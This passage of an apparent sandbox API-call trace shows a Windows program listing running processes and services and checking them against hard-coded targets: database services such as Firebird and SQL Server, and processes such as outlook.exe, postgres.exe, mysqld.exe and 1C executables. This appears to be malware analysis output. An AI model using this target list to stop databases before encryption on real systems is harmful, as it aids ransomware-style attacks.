th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.086] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.086] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.086] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.087] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.087] lstrlenW (lpString="taskhost.exe") returned 12 [0061.087] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0061.087] lstrlenW (lpString="dllhost.exe") returned 11 [0061.087] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0061.088] lstrlenW (lpString="dllhost.exe") returned 11 [0061.088] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0061.088] lstrlenW (lpString="winhost.exe") returned 11 [0061.088] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.089] lstrlenW (lpString="cmd.exe") returned 7 [0061.089] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.089] lstrlenW (lpString="conhost.exe") returned 11 [0061.089] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0061.089] CloseHandle (hObject=0x164) returned 1 [0061.089] Sleep (dwMilliseconds=0x1f4) [0062.684] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fac8 [0062.724] EnumServicesStatusExW (in: hSCManager=0x52fac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0062.725] GetLastError () returned 0xea [0062.725] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x3f338d8 [0062.725] EnumServicesStatusExW (in: hSCManager=0x52fac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f338d8, cbBufSize=0x11e4, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f338d8, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0062.726] CloseServiceHandle (hSCObject=0x52fac8) returned 1 [0062.726] lstrlenW (lpString="Appinfo") returned 7 [0062.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0062.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0062.726] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0062.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0062.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0062.726] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0062.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.727] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0062.727] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0062.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0062.727] lstrlenW (lpString="AudioSrv") returned 8 [0062.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0062.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0062.727] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0062.727] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0062.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0062.727] lstrlenW (lpString="BFE") returned 3 [0062.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0062.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0062.727] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0062.727] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0062.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0062.727] lstrlenW (lpString="CryptSvc") returned 8 [0062.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0062.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0062.727] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0062.727] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0062.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0062.727] lstrlenW (lpString="CscService") returned 10 [0062.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0062.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0062.727] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0062.728] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0062.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0062.728] lstrlenW (lpString="DcomLaunch") returned 10 [0062.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.728] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0062.728] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0062.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0062.728] lstrlenW (lpString="Dhcp") returned 4 [0062.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0062.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0062.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0062.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0062.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0062.728] lstrlenW (lpString="Dnscache") returned 8 [0062.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0062.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0062.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0062.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0062.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0062.728] lstrlenW (lpString="DPS") returned 3 [0062.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0062.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0062.728] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0062.729] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0062.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0062.729] lstrlenW (lpString="eventlog") returned 8 [0062.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0062.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0062.729] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0062.729] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0062.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0062.729] lstrlenW (lpString="EventSystem") returned 11 [0062.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0062.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0062.729] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0062.729] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0062.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0062.729] lstrlenW (lpString="gpsvc") returned 5 [0062.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0062.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0062.729] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0062.729] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0062.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0062.729] lstrlenW (lpString="iphlpsvc") returned 8 [0062.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.730] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0062.730] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0062.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0062.730] lstrlenW (lpString="LanmanServer") returned 12 [0062.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0062.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0062.730] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0062.730] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0062.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0062.730] lstrlenW (lpString="LanmanWorkstation") returned 17 [0062.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.730] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0062.730] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0062.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0062.730] lstrlenW (lpString="lmhosts") returned 7 [0062.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0062.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0062.730] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0062.730] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0062.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0062.730] lstrlenW (lpString="MMCSS") returned 5 [0062.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0062.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0062.730] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0062.730] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0062.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0062.731] lstrlenW (lpString="MpsSvc") returned 6 [0062.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0062.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0062.731] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0062.731] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0062.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0062.731] lstrlenW (lpString="Netman") returned 6 [0062.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0062.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0062.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0062.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0062.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0062.731] lstrlenW (lpString="netprofm") returned 8 [0062.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0062.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0062.731] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0062.731] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0062.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0062.731] lstrlenW (lpString="NlaSvc") returned 6 [0062.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0062.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0062.731] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0062.731] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0062.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0062.732] lstrlenW (lpString="nsi") returned 3 [0062.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0062.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0062.732] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0062.732] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0062.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0062.732] lstrlenW (lpString="PcaSvc") returned 6 [0062.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0062.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0062.732] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0062.732] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0062.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0062.732] lstrlenW (lpString="PlugPlay") returned 8 [0062.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0062.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0062.732] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0062.732] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0062.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0062.732] lstrlenW (lpString="Power") returned 5 [0062.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0062.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0062.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0062.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0062.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0062.732] lstrlenW (lpString="ProfSvc") returned 7 [0062.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0062.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0062.733] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0062.733] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0062.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0062.733] lstrlenW (lpString="RpcEptMapper") returned 12 [0062.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.733] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0062.733] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0062.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0062.733] lstrlenW (lpString="RpcSs") returned 5 [0062.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0062.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0062.733] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0062.733] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0062.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0062.733] lstrlenW (lpString="SamSs") returned 5 [0062.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0062.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0062.733] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0062.733] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0062.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0062.733] lstrlenW (lpString="Schedule") returned 8 [0062.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0062.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0062.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0062.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0062.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0062.734] lstrlenW (lpString="SENS") returned 4 [0062.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0062.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0062.734] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0062.734] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0062.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0062.734] lstrlenW (lpString="ShellHWDetection") returned 16 [0062.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.734] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0062.734] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0062.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0062.734] lstrlenW (lpString="Spooler") returned 7 [0062.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0062.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0062.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0062.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0062.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0062.734] lstrlenW (lpString="SysMain") returned 7 [0062.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0062.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0062.734] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0062.734] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0062.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0062.735] lstrlenW (lpString="Themes") returned 6 [0062.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0062.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0062.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0062.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0062.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0062.735] lstrlenW (lpString="TrkWks") returned 6 [0062.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0062.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0062.735] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0062.735] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0062.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0062.735] lstrlenW (lpString="UxSms") returned 5 [0062.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0062.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0062.735] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0062.735] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0062.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0062.735] lstrlenW (lpString="WdiServiceHost") returned 14 [0062.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.735] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0062.735] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0062.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0062.735] lstrlenW (lpString="WdiSystemHost") returned 13 [0062.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.736] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0062.736] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0062.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0062.736] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0062.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.736] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0062.736] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0062.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0062.736] lstrlenW (lpString="Winmgmt") returned 7 [0062.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0062.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0062.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0062.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0062.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0062.736] lstrlenW (lpString="WPDBusEnum") returned 10 [0062.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.736] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0062.736] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0062.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0062.736] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f338d8 | out: hHeap=0x4b0000) returned 1 [0062.737] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0062.745] Process32FirstW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.746] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.746] lstrlenW (lpString="System") returned 6 [0062.746] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0062.746] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0062.746] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0062.746] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0062.746] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0062.746] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0062.746] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0062.746] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.747] lstrlenW (lpString="smss.exe") returned 8 [0062.747] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0062.747] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0062.747] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0062.747] lstrcmpiW (lpString1="postgres.exe", 